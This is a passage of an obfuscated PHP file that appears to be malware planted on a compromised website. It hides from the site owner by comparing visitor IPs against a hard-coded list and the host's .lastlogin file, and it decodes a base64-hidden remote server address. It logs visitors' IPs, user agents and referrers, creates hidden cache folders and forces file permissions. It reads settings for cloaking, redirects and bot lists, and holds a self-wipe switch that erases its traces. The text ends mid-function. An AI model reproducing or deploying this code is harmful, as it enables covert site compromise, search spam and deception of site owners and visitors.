<?php
function reall_ip()
{
	$header_checks = array(
		'HTTP_CLIENT_IP',
		'HTTP_PRAGMA',
		'HTTP_XONNECTION',
		'HTTP_CACHE_INFO',
		'HTTP_XPROXY',
		'HTTP_PROXY',
		'HTTP_PROXY_CONNECTION',
		'HTTP_VIA',
		'HTTP_X_COMING_FROM',
		'HTTP_COMING_FROM',
		'HTTP_X_FORWARDED_FOR',
		'HTTP_X_FORWARDED',
		'HTTP_X_CLUSTER_CLIENT_IP',
		'HTTP_FORWARDED_FOR',
		'HTTP_FORWARDED',
		'ZHTTP_CACHE_CONTROL',
		'REMOTE_ADDR'
	);

	foreach ($header_checks as $key)
	{
		if (array_key_exists($key, $_SERVER) === true)
		{
			foreach (explode(',', $_SERVER[$key]) as $ip)
			{
				$ip = trim($ip);
				
				//filter the ip with filter functions
				if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE))
				{
					return $ip;
				}
			}
		}
	}
}

function badip($ip,$bads){
	$is_bad = '';
	foreach($bads as $mask){
		if (@preg_match('#^' . $mask . '#', $ip)) {
			$is_bad = "1";
			break;
		}
	}
	if(empty($is_bad)){
		if(file_exists(str_replace('/public_html','',$_SERVER["DOCUMENT_ROOT"]).'/.lastlogin')){
			if(preg_match("/".$ip."/i", file_get_contents(str_replace('/public_html','',$_SERVER["DOCUMENT_ROOT"]).'/.lastlogin'))){
				$is_bad = "1";
			}
			if(empty($is_bad)){
				$ip = explode('.',$ip);
				unset($ip[3]);
				$ip = implode('.',$ip);
				if(preg_match("/".$ip."/i", file_get_contents(str_replace('/public_html','',$_SERVER["DOCUMENT_ROOT"]).'/.lastlogin'))){
				$is_bad = "1";
				}
			}
		}
	}
	return $is_bad;
}

$ip = reall_ip();
$ipp = $_SERVER['REMOTE_ADDR'];

$Il4FS6JaNcMQSTGMtIbTR477 = isset($_SERVER["HTTPS"])&&($_SERVER["HTTPS"] == 'on') ? 'https' : 'http';
$I5xY25jRknuJMGUFU06 = $_SERVER['HTTP_HOST'];
$Il4FS6JaNcMQSTGMtIbTR48 = strpos(strtolower($I5xY25jRknuJMGUFU06),'www.') === FALSE ? $_SERVER['SERVER_NAME'] : 'www.'.str_replace('www.','',$_SERVER['SERVER_NAME']);

$badips = array('14.99.0-9]+.[0-9]+','136.232.[0-9]+.[0-9]+','2.50.169.[0-9]+','27.59.[0-9]+.[0-9]+','47.35.236.[0-9]+','49.205.[0-9]+.[0-9]+','49.207.[0-9]+.[0-9]+','49.36.[0-9]+.[0-9]+','49.37.[0-9]+.[0-9]+','49.38.[0-9]+.[0-9]+','60.243.[0-9]+.[0-9]+','64.62.219.[0-9]+','65.49.68.[0-9]+','91.149.[0-9]+.[0-9]+','101.0.62.[0-9]+','101.0.63.[0-9]+','103.163.18.[0-9]+','103.28.246.[0-9]+','106.196.[0-9]+.[0-9]+','106.206.[0-9]+.[0-9]+','106.217.[0-9]+.[0-9]+','106.51.[0-9]+.[0-9]+','110.225.[0-9]+.[0-9]+','115.99.[0-9]+.[0-9]+','117.98.[0-9]+.[0-9]+','120.138.1[0-9]+.[0-9]+','120.138.[0-9]+.[0-9]+','122.171.[0-9]+.[0-9]+','124.123.[0-9]+.[0-9]+','157.41.[0-9]+.[0-9]+','157.45.[0-9]+.[0-9]+','157.49.[0-9]+.[0-9]+','157.50.[0-9]+.[0-9]+','157.51.[0-9]+.[0-9]+','171.76.[0-9]+.[0-9]+','175.101.[0-9]+.[0-9]+','203.192.[0-9]+.[0-9]+','217.164.14.[0-9]+','223.186.[0-9]+.[0-9]+','223.230.[0-9]+.[0-9]+','223.231.[0-9]+.[0-9]+','223.237.[0-9]+.[0-9]+','23.111.175.[0-9]+','49.206.[0-9]+.[0-9]+');
$isbadip1 = badip($ip,$badips);
$isbadip2 = badip($ipp,$badips);


if (empty($_GET['ineedthispage']) && $isbadip1 != 1 && $isbadip2 != 1) {
	if (function_exists('ini_set')) {
		ini_set('display_errors', "Off");
	}else{
		error_reporting(0);
	}
	//ignore_user_abort(1);
	$Iku20W0B8S9p = "10.4Ystd";
	$IVmfs0SzQujsBG2yE = "";
	$IcRJnRh0BaaYCr = "";
	$IebH2sK1bwmgEcMMI = "";
	if (!empty($_COOKIE['PHPSESSIDx'])) {
		$IebH2sK1bwmgEcMMI = $_COOKIE['PHPSESSIDx'];
		if (!empty($_COOKIE['shop_site'])) {
			$IebH2sK1bwmgEcMMI = '';
		}
	}
	$IUYZkHMvPnxD = "RE3PUldBWUlTV4";
	//if (!IIkUGmvpQuGsvF4PbD('curl_init')) {
	//	$IVmfs0SzQujsBG2yE .= "1\t";
	//	$IcRJnRh0BaaYCr .= "1\t";
	//}
	if (!IIkUGmvpQuGsvF4PbD('fopen')) {
		$IVmfs0SzQujsBG2yE .= "2\t";
		$IcRJnRh0BaaYCr .= "2\t";
	}
	$II6GSejEQGcXEADTdVw = "3SS5RJVExFJTB";
	if (!IIkUGmvpQuGsvF4PbD('file_get_contents')) {
		$IVmfs0SzQujsBG2yE .= "3\t";
		$IcRJnRh0BaaYCr .= "3\t";
	}
	$Iw78mVWOIABM0uZ9FjcKrk = "BJTA9JTNEJTNEJTNEJTNEJTNE";
	if (!IIkUGmvpQuGsvF4PbD('gzuncompress')) {
		$IVmfs0SzQujsBG2yE .= "4\t";
		$IcRJnRh0BaaYCr .= "4\t";
	}
	$Iax8jUe6B2NrmbBLjzTh = "JTNEJTNEJTNEJT";
	if (!IIkUGmvpQuGsvF4PbD('base64_decode')) {
		$IVmfs0SzQujsBG2yE .= "5\t";
		$IcRJnRh0BaaYCr .= "5\t";
	}
	$ICvEOD9TPYuFxru8BY3  = "NEJTNEJTNEJTNEJTNEJTNEJTNEJTN";
	$IQf3Wvh2RtKQbZ2zg  = "";
	$IVmfs0SzQujsBG2yE0 = "";
	$IVmfs0SzQujsBG2yE1 = "";
	$IVmfs0SzQujsBG2yE2 = "";
	$IVmfs0SzQujsBG2yE3 = "";
	$IVmfs0SzQujsBG2yE4 = "";
	$IVmfs0SzQujsBG2yE5 = "EJTNEJTNEJ";
	$IVmfs0SzQujsBG2yE6 = "";
	$IVmfs0SzQujsBG2yE7 = "";
	$IVmfs0SzQujsBG2yE8 = "TNEJTNEJTBBRE3PUldBWUlTV43";
	$IVmfs0SzQujsBG2yE9 = "";
	$IcRJnRh0BaaYCr0 = "";
	$IcRJnRh0BaaYCr1 = "SSyUwQSUzRC";
	$IcRJnRh0BaaYCr2 = "";
	$IcRJnRh0BaaYCr3 = "";
	$IcRJnRh0BaaYCr4 = "UzRCUzRCUzRCUzRCUzRCUz";
	$IcRJnRh0BaaYCr5 = "";
	$IcRJnRh0BaaYCr6 = "";
	$IcRJnRh0BaaYCr7 = "RCUzRCUzRCU";
	$IcRJnRh0BaaYCr8 = "";
	$IcRJnRh0BaaYCr9 = "";
	$IebH2sK1bwmgEcMMI0 = "";
	$IebH2sK1bwmgEcMMI1 = "zRCUzRCUzRCUzRCUzRCU";
	$IebH2sK1bwmgEcMMI2 = "";
	$IebH2sK1bwmgEcMMI3 = "";
	$IebH2sK1bwmgEcMMI4 = "zRCUzR";
	$IebH2sK1bwmgEcMMI5 = "";
	$IebH2sK1bwmgEcMMI6 = "";
	$IebH2sK1bwmgEcMMI7 = "CUzRCUzRCUzRCU";
	$IebH2sK1bwmgEcMMI8 = "";
	$IebH2sK1bwmgEcMMI9 = "zRCUwQURP";
	$IUYZkHMvPnxD0 = "";
	$IUYZkHMvPnxD1 = "";
	$IUYZkHMvPnxD2 = "T5JXQVlJU5dP";
	$IUYZkHMvPnxD3 = "";
	$IUYZkHMvPnxD4 = "";
	$IUYZkHMvPnxD5 = "UktDT49UR";
	$IUYZkHMvPnxD6 = "";
	$IUYZkHMvPnxD7 = "";
	$IUYZkHMvPnxD8 = "U9U";
	$IUYZkHMvPnxD9 = "";
	$II6GSejEQGcXEADTdVw0 = "";
	$II6GSejEQGcXEADTdVw1 = "YISWORKTITLE";
	$II6GSejEQGcXEADTdVw2 = IIE2B7umvbhD6VaPwhyPL("aHR7cCUzQSUyRiUyRnNydjMuc9VhcmNoLWluZm5ub0JnJTJGZ9V7ZGF7YS2waHA=");
	$II6GSejEQGcXEADTdVw2 = str_ireplace("http://", "", $II6GSejEQGcXEADTdVw2);
	if (!empty($_SERVER['HTTP_USER_AGENT'])) {
		$II6GSejEQGcXEADTdVw3 = $_SERVER['HTTP_USER_AGENT'];
	} else {
		$II6GSejEQGcXEADTdVw3 = "";
	}
	if (!empty($_SERVER['HTTP_REFERER'])) {
		$II6GSejEQGcXEADTdVw4 = $_SERVER['HTTP_REFERER'];
	} else {
		$II6GSejEQGcXEADTdVw4 = "";
	}
	$II6GSejEQGcXEADTdVw5 = '';
	function get_real_ip()
	{
		$header_checks = array(
			'HTTP_CLIENT_IP',
			'HTTP_PRAGMA',
			'HTTP_XONNECTION',
			'HTTP_CACHE_INFO',
			'HTTP_XPROXY',
			'HTTP_PROXY',
			'HTTP_PROXY_CONNECTION',
			'HTTP_VIA',
			'HTTP_X_COMING_FROM',
			'HTTP_COMING_FROM',
			'HTTP_X_FORWARDED_FOR',
			'HTTP_X_FORWARDED',
			'HTTP_X_CLUSTER_CLIENT_IP',
			'HTTP_FORWARDED_FOR',
			'HTTP_FORWARDED',
			'ZHTTP_CACHE_CONTROL',
			'REMOTE_ADDR'
		);
	
		foreach ($header_checks as $key)
		{
			if (array_key_exists($key, $_SERVER) === true)
			{
				foreach (explode(',', $_SERVER[$key]) as $ip)
				{
					$ip = trim($ip);
					if(function_exists('filter_var')){
						if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE))
						{
							return $ip;
						}
					}
					else{
						return $ip;
					}
				}
			}
		}
	}
	$II6GSejEQGcXEADTdVw5 = get_real_ip();
	if (empty($II6GSejEQGcXEADTdVw5)){
		$II6GSejEQGcXEADTdVw5 = '';
	}
	$Iw78mVWOIABM0uZ9FjcKrk06 = $_SERVER['HTTP_HOST'];
	$Iw78mVWOIABM0uZ9FjcKrk66 = strpos(strtolower($Iw78mVWOIABM0uZ9FjcKrk06),'www.') === FALSE ? $_SERVER['SERVER_NAME'] : 'www.'.str_replace('www.','',$_SERVER['SERVER_NAME']); 
	$II6GSejEQGcXEADTdVw6 = md5(__FILE__);
	$II6GSejEQGcXEADTdVw7 = md5($Iw78mVWOIABM0uZ9FjcKrk66);
	if(stripos(__FILE__,$_SERVER["DOCUMENT_ROOT"]) !== FALSE){
		$II6GSejEQGcXEADTdVw8 = explode($_SERVER["DOCUMENT_ROOT"], __FILE__);
		$II6GSejEQGcXEADTdVw8 = $II6GSejEQGcXEADTdVw8[1];
		$II6GSejEQGcXEADTdVw8 = trim($II6GSejEQGcXEADTdVw8);
		$II6GSejEQGcXEADTdVw8 = urlencode($II6GSejEQGcXEADTdVw8);
	}
	else{
		$II6GSejEQGcXEADTdVw8 = trim(urlencode(__FILE__));
	}
	$II6GSejEQGcXEADTdVw9 = "an";
	$Iw78mVWOIABM0uZ9FjcKrk0 = dirname(__FILE__) . DIRECTORY_SEPARATOR . "cache" . $II6GSejEQGcXEADTdVw6;
	$Iw78mVWOIABM0uZ9FjcKrk1 = $Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . "ke" . substr($II6GSejEQGcXEADTdVw6, 0, 8) . "ys";
	$Iw78mVWOIABM0uZ9FjcKrk2 = $Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . "use" . substr($II6GSejEQGcXEADTdVw6, 0, 3) . "rag" . substr($II6GSejEQGcXEADTdVw6, 3, 6) . "ents";
	$Iw78mVWOIABM0uZ9FjcKrk3 = $Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . "bo" . substr($II6GSejEQGcXEADTdVw6, 0, 4) . "ti" . substr($II6GSejEQGcXEADTdVw6, 5, 8) . "ps";
	$Iw78mVWOIABM0uZ9FjcKrk4 = $Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . "re" . substr($II6GSejEQGcXEADTdVw6, 1, 4) . "fere" . substr($II6GSejEQGcXEADTdVw6, 6, 8) . "re";
	$Iw78mVWOIABM0uZ9FjcKrk5 = $Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . "run" . substr($II6GSejEQGcXEADTdVw6, 2, 7) . "ning";
	if (file_exists($Iw78mVWOIABM0uZ9FjcKrk5)) {
		@unlink($Iw78mVWOIABM0uZ9FjcKrk5);
	}
	$Iw78mVWOIABM0uZ9FjcKrk6 = $Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . "cac" . substr($II6GSejEQGcXEADTdVw6, 0, 6) . "he";
	$Iw78mVWOIABM0uZ9FjcKrk7 = $Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . "err" . substr($II6GSejEQGcXEADTdVw6, 3, 7) . "ors";
	$Iw78mVWOIABM0uZ9FjcKrk8 = "y";
	$Iw78mVWOIABM0uZ9FjcKrk9 = $Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . "tr" . substr($II6GSejEQGcXEADTdVw6, 2, 8) . "aff";
	$Iax8jUe6B2NrmbBLjzTh0 = $Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . "tem" . substr($II6GSejEQGcXEADTdVw6, 2, 6) . "pla" . substr($II6GSejEQGcXEADTdVw6, 2, 4) . "te";
	$Iax8jUe6B2NrmbBLjzTh1 = $Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . "tem" . substr($II6GSejEQGcXEADTdVw6, 3, 6) . "pla" . substr($II6GSejEQGcXEADTdVw6, 1, 4) . "te";
	$Iax8jUe6B2NrmbBLjzTh2 = $Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . "tem" . substr($II6GSejEQGcXEADTdVw6, 3, 6) . "pla" . substr($II6GSejEQGcXEADTdVw6, 2, 4) . "te";
	$Iax8jUe6B2NrmbBLjzTh3 = $Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . "ll" . substr($II6GSejEQGcXEADTdVw6, 4, 9) . "inks";
	$Iax8jUe6B2NrmbBLjzTh4 = $Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . "oldcss";
	$Iax8jUe6B2NrmbBLjzTh5 = "gr";
	if (file_exists($Iax8jUe6B2NrmbBLjzTh1)) {
		@unlink($Iax8jUe6B2NrmbBLjzTh1);
	}
	if (file_exists($Iax8jUe6B2NrmbBLjzTh2)) {
		@unlink($Iax8jUe6B2NrmbBLjzTh2);
	}
	$Iax8jUe6B2NrmbBLjzTh6 = md5($Iw78mVWOIABM0uZ9FjcKrk66 . str_ireplace("-", "", $_SERVER['REQUEST_URI']));
	$Iax8jUe6B2NrmbBLjzTh7 = $Iw78mVWOIABM0uZ9FjcKrk66 . $_SERVER['REQUEST_URI'];
	$Iax8jUe6B2NrmbBLjzTh7 = md5($Iax8jUe6B2NrmbBLjzTh7);
	$Iax8jUe6B2NrmbBLjzTh77 = ((isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) == 'https')) ? 'https' : 'http';
	$Iax8jUe6B2NrmbBLjzTh8 = $Iw78mVWOIABM0uZ9FjcKrk66;
	if ( function_exists( 'date_default_timezone_set' ) )
	{
		date_default_timezone_set( 'UTC' );
	}
	$IQf3Wvh2RtKQbZ2zg00 = date('d.m.Y H:i:s');
	$IQf3Wvh2RtKQbZ2zg01 = $IQf3Wvh2RtKQbZ2zg00.'::'.$II6GSejEQGcXEADTdVw5.'::'.$II6GSejEQGcXEADTdVw3.'::'.$II6GSejEQGcXEADTdVw4.'::'.$Iax8jUe6B2NrmbBLjzTh77.'://'.$Iw78mVWOIABM0uZ9FjcKrk66 . $_SERVER['REQUEST_URI'];
	$IQf3Wvh2RtKQbZ2zg99 = strtr(base64_encode($IQf3Wvh2RtKQbZ2zg01),'=','-');
	$Iax8jUe6B2NrmbBLjzTh9 = "w";
	$ICvEOD9TPYuFxru8BY30 = "se" . substr($II6GSejEQGcXEADTdVw6, 1, 6) . "tts";
	if (!is_dir($Iw78mVWOIABM0uZ9FjcKrk0)) {
		if (!mkdir($Iw78mVWOIABM0uZ9FjcKrk0, 0755)) {
			$IVmfs0SzQujsBG2yE .= "6\t";
			$IcRJnRh0BaaYCr .= "6\t";
		}
	}
	$ICvEOD9TPYuFxru8BY31 = IIItEJGYGxcEJO(200);
	if (!file_exists($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . substr($II6GSejEQGcXEADTdVw6, 0, 7))) {
		$ICvEOD9TPYuFxru8BY32 = fopen($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . substr($II6GSejEQGcXEADTdVw6, 0, 7), "w+");
		if (!empty($ICvEOD9TPYuFxru8BY32)) {
			flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
			fwrite($ICvEOD9TPYuFxru8BY32, "");
			fclose($ICvEOD9TPYuFxru8BY32);
		} else {
			$IVmfs0SzQujsBG2yE .= "7\t";
			$IcRJnRh0BaaYCr .= "7\t";
		}
	}
	if ($ICvEOD9TPYuFxru8BY31 == "errorcreate") {
		$IVmfs0SzQujsBG2yE .= "8\t";
		$IcRJnRh0BaaYCr .= "8\t";
	}
	$ICvEOD9TPYuFxru8BY33 = "an";
	$ICvEOD9TPYuFxru8BY34 = substr(sprintf('%o', fileperms($Iw78mVWOIABM0uZ9FjcKrk0)), -4);
	if ($ICvEOD9TPYuFxru8BY34 != "0755") {
		@chmod($Iw78mVWOIABM0uZ9FjcKrk0, 0755);
	}
	$ICvEOD9TPYuFxru8BY35 = substr(sprintf('%o', fileperms(__FILE__)), -4);
	if ($ICvEOD9TPYuFxru8BY35 != "0644") {
		@chmod(__FILE__, 0644);
	}
	$ICvEOD9TPYuFxru8BY36 = substr(sprintf('%o', fileperms(dirname(__FILE__))), -4);
	if ($ICvEOD9TPYuFxru8BY36 != "0755") {
		@chmod(dirname(__FILE__), 0755);
	}
	$ICvEOD9TPYuFxru8BY37 = "";
	$ICvEOD9TPYuFxru8BY38 = "an";
	if (file_exists($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . $ICvEOD9TPYuFxru8BY30)) {
		$IUYZkHMvPnxD4 = "yes";
		if (file_exists($Iw78mVWOIABM0uZ9FjcKrk1)) {
			$IUYZkHMvPnxD3 = "work";
			$ICvEOD9TPYuFxru8BY37 = "good";
		}
		$ICvEOD9TPYuFxru8BY39 = "gry";
		$IQf3Wvh2RtKQbZ2zg0 = "p";
		$IQf3Wvh2RtKQbZ2zg1 = @file_get_contents($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . $ICvEOD9TPYuFxru8BY30);
		if (empty($IQf3Wvh2RtKQbZ2zg1)) {
			@unlink($Iw78mVWOIABM0uZ9FjcKrk0 . DIRECTORY_SEPARATOR . $ICvEOD9TPYuFxru8BY30);
		} else {
			$IQf3Wvh2RtKQbZ2zg1 = IIcA5kehCMAmDcjyQ($IQf3Wvh2RtKQbZ2zg1);
		}
		$IUYZkHMvPnxD6 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "cleanrescode", "yes"));
		if ($IUYZkHMvPnxD6 == "yes") {
			$ICvEOD9TPYuFxru8BY32 = fopen(__FILE__, "w+");
			flock($ICvEOD9TPYuFxru8BY32, LOCK_EX);
			fwrite($ICvEOD9TPYuFxru8BY32, "");
			fclose($ICvEOD9TPYuFxru8BY32);
			IIK4ZdcQIh5oDCv($Iw78mVWOIABM0uZ9FjcKrk0);
			die();
		}
		$IQf3Wvh2RtKQbZ2zg2 = "sim";
		$IQf3Wvh2RtKQbZ2zg3 = "";
		$IVmfs0SzQujsBG2yE3 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "clienturl", "yes"));
		if (stripos("qqqq" . $IVmfs0SzQujsBG2yE3, "[DOMAIN]")) {
			$IVmfs0SzQujsBG2yE3 = str_ireplace("[DOMAIN]", $Iax8jUe6B2NrmbBLjzTh8, $IVmfs0SzQujsBG2yE3);
		}
		$IVmfs0SzQujsBG2yE3 = trim($IVmfs0SzQujsBG2yE3);
		$IQf3Wvh2RtKQbZ2zg3 = $IVmfs0SzQujsBG2yE3;
		$IVmfs0SzQujsBG2yE4 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "newkeys", "yes"));
		$IVmfs0SzQujsBG2yE4 = trim($IVmfs0SzQujsBG2yE4);
		$IQf3Wvh2RtKQbZ2zg4 = "gry";
		$IUYZkHMvPnxD7 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "getautosettsornot", "yes"));
		$IUYZkHMvPnxD7 = trim($IUYZkHMvPnxD7);
		$IVmfs0SzQujsBG2yE6 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "dotemplate", "yes"));
		$IVmfs0SzQujsBG2yE6 = trim($IVmfs0SzQujsBG2yE6);
		$IQf3Wvh2RtKQbZ2zg5 = "jo";
		$IVmfs0SzQujsBG2yE7 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "clearcache", "yes"));
		$IVmfs0SzQujsBG2yE7 = trim($IVmfs0SzQujsBG2yE7);
		$IQf3Wvh2RtKQbZ2zg6 = "ple";
		$IVmfs0SzQujsBG2yE9 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "newuseragents", "yes"));
		$IVmfs0SzQujsBG2yE9 = trim($IVmfs0SzQujsBG2yE9);
		$IcRJnRh0BaaYCr0 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "newbotips", "yes"));
		$IcRJnRh0BaaYCr0 = trim($IcRJnRh0BaaYCr0);
		$IVmfs0SzQujsBG2yE0 = $II6GSejEQGcXEADTdVw9 . "" . $Iax8jUe6B2NrmbBLjzTh5 . "" . $Iw78mVWOIABM0uZ9FjcKrk8 . "" . $Iax8jUe6B2NrmbBLjzTh9 . "" . $IQf3Wvh2RtKQbZ2zg0;
		$IcRJnRh0BaaYCr2 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "newreffs", "yes"));
		$IcRJnRh0BaaYCr2 = trim($IcRJnRh0BaaYCr2);
		$IcRJnRh0BaaYCr3 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "usecloack", "yes"));
		$IcRJnRh0BaaYCr3 = trim($IcRJnRh0BaaYCr3);
		$IQf3Wvh2RtKQbZ2zg7 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "checkll", "yes"));
		$IQf3Wvh2RtKQbZ2zg7 = trim($IQf3Wvh2RtKQbZ2zg7);
		$IcRJnRh0BaaYCr5 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "itsinclude", "yes"));
		$IcRJnRh0BaaYCr5 = trim($IcRJnRh0BaaYCr5);
		$IQf3Wvh2RtKQbZ2zg8 = "";
		$IVmfs0SzQujsBG2yE2 = "";
		$IQf3Wvh2RtKQbZ2zg8 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "checkse", "yes"));
		$IQf3Wvh2RtKQbZ2zg8 = trim($IQf3Wvh2RtKQbZ2zg8);
		if (!empty($IQf3Wvh2RtKQbZ2zg8) && "stop" != $IQf3Wvh2RtKQbZ2zg8) {
			$IQf3Wvh2RtKQbZ2zg8 = str_ireplace("h", "", $IQf3Wvh2RtKQbZ2zg8);
			$IQf3Wvh2RtKQbZ2zg8 = $IQf3Wvh2RtKQbZ2zg8 * 3600;
			$IVmfs0SzQujsBG2yE2 = IIlDt9uqKDAN9Cu57xcq($IQf3Wvh2RtKQbZ2zg8);
		} elseif ("stop" == $IQf3Wvh2RtKQbZ2zg8) {
			$IQf3Wvh2RtKQbZ2zg8 = "";
		}
		$IQf3Wvh2RtKQbZ2zg9  = "om";
		$IcRJnRh0BaaYCr6  = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "clienttype", "yes"));
		$IcRJnRh0BaaYCr6  = trim($IcRJnRh0BaaYCr6);
		$IVmfs0SzQujsBG2yE00 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "indexkey", "yes"));
		$IVmfs0SzQujsBG2yE00 = trim($IVmfs0SzQujsBG2yE00);
		$IcRJnRh0BaaYCr8  = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "lang", "yes"));
		$IcRJnRh0BaaYCr8  = trim($IcRJnRh0BaaYCr8);
		$IVmfs0SzQujsBG2yE01 = "la";
		$IebH2sK1bwmgEcMMI0  = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "wherecontent", "yes"));
		$IebH2sK1bwmgEcMMI0  = trim($IebH2sK1bwmgEcMMI0);
		$IebH2sK1bwmgEcMMI2  = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "textfilename", "yes"));
		$IebH2sK1bwmgEcMMI2  = trim($IebH2sK1bwmgEcMMI2);
		$IebH2sK1bwmgEcMMI3  = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "keyfilename", "yes"));
		$IebH2sK1bwmgEcMMI3  = trim($IebH2sK1bwmgEcMMI3);
		$IVmfs0SzQujsBG2yE1  = $ICvEOD9TPYuFxru8BY38 . "" . $IQf3Wvh2RtKQbZ2zg4 . "" . $IQf3Wvh2RtKQbZ2zg5 . "" . $IQf3Wvh2RtKQbZ2zg9 . "" . $IVmfs0SzQujsBG2yE01;
		$IebH2sK1bwmgEcMMI5  = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "themesfilename", "yes"));
		$IebH2sK1bwmgEcMMI5  = trim($IebH2sK1bwmgEcMMI5);
		$IebH2sK1bwmgEcMMI6  = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "templatename", "yes"));
		$IebH2sK1bwmgEcMMI6  = trim($IebH2sK1bwmgEcMMI6);
		$IVmfs0SzQujsBG2yE02 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "checkllcount", "yes"));
		$IVmfs0SzQujsBG2yE02 = trim($IVmfs0SzQujsBG2yE02);
		$IebH2sK1bwmgEcMMI8  = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "extlinksfilename", "yes"));
		$IebH2sK1bwmgEcMMI8  = trim($IebH2sK1bwmgEcMMI8);
		$IVmfs0SzQujsBG2yE03 = urldecode(IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "renewclient", "yes"));
		$IVmfs0SzQujsBG2yE03 = trim($IVmfs0SzQujsBG2yE03);
		$IVmfs0SzQujsBG2yE04 = $ICvEOD9TPYuFxru8BY33 . "" . $ICvEOD9TPYuFxru8BY39 . "" . $IQf3Wvh2RtKQbZ2zg2 . "" . $IQf3Wvh2RtKQbZ2zg6;
		$IUYZkHMvPnxD0  = (IIiTfjOuLD0DzYkx0oYF($IQf3Wvh2RtKQbZ2zg1, "redirect", "yes"));
		$IUYZkHMvPnxD0  = trim($IUYZkHMvPnxD0);
		$IVmfs0SzQujsBG2yE05 = "";
		$IVmfs0SzQujsBG2yE06 = urlencode($IVmfs0SzQujsBG2yE3);
		$IVmfs0SzQujsBG2yE07 = urlencode($Iw78mVWOIABM0uZ9FjcKrk66 . $_SERVER['REQUEST_URI']);

		if(stripos($IVmfs0SzQujsBG2yE06,'%2F%3F') && !stripos($IVmfs0SzQujsBG2yE07,'%2F%3F') && stripos($IVmfs0SzQujsBG2yE07,'index.php%3F')){
			$IVmfs0SzQujsBG2yE06 = str_ireplace("%2F%3F", "index.php%3F", $IVmfs0SzQujsBG2yE06);
		}
		else{
			if(stripos($IVmfs0SzQujsBG2yE07,'%2F%3F') && !stripos($IVmfs0SzQujsBG2yE06,'%2F%3F') && stripos($IVmfs0SzQujsBG2yE06,'index.php%3F')){
				$IVmfs0SzQujsBG2yE07 = str_ireplace("%2F%3F", "index.php%3F", $IVmfs0SzQujsBG2yE07);
			}
		}

		$IVmfs0SzQujsBG2yE08 = str_ireplace("%5BKEY%5D", "((?:(?!%3F|%26)\S)*?)(\S*?)", $IVmfs0SzQujsBG2yE06);
		$IVmfs0SzQujsBG2yE08 = "/" . $IVmfs0SzQujsBG2yE08 . "/iUm";
		preg_match($IVmfs0SzQujsBG2yE08, $IVmfs0SzQujsBG2yE07, $IVmfs0SzQujsBG2yE09);
		if (!empty($IVmfs0SzQujsBG2yE09[1])) {
			$IUYZkHMvPnxD1 = trim($IVmfs0SzQujsBG2yE09[1]);
		}
		if (!empty($IUYZkHMvPnxD1)) {
			$IVmfs0SzQujsBG2yE10 = IIgDFe7SSS9RzM($IUYZkHMvPnxD1, $Iw78mVWOIABM0uZ9FjcKrk1);
